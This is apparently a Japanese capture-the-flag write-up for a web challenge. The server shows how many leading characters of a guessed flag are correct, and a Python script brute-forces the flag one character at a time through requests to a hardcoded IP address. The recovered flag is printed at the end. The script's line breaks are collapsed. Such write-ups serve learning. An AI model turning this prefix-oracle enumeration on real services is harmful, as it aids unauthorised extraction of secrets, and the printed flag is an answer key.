`http://172.105.154.14/?flag=`の後ろにフラグを入力し，合っていた数だけフラグが表示される(=私が予測したフラグと正しいフラグを比較し，合っている文字数を教えてくれる)ようです．Pythonを用いて全探索します．
```pyimport requests
baseurl = "http://172.105.154.14/?flag=shctf{2_"chars = "0123456789_}abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"size = 8
for _ in range(30):    for c in chars:        url = baseurl + c        print(url)        html = requests.get(url).text[799:]        flag = [            c.replace("<div>", "")            .replace("</div>", "")            .replace("</html>", "")            .replace("\n", "")            for c in html.split("</div>\n<div>")        ]        flag = [c for c in flag if c != ""]        if len(flag) > size:            print("I got!! -> " + "".join(flag))            baseurl += c            size += 1            break```
`shctf{2_explor3_fronti3r}`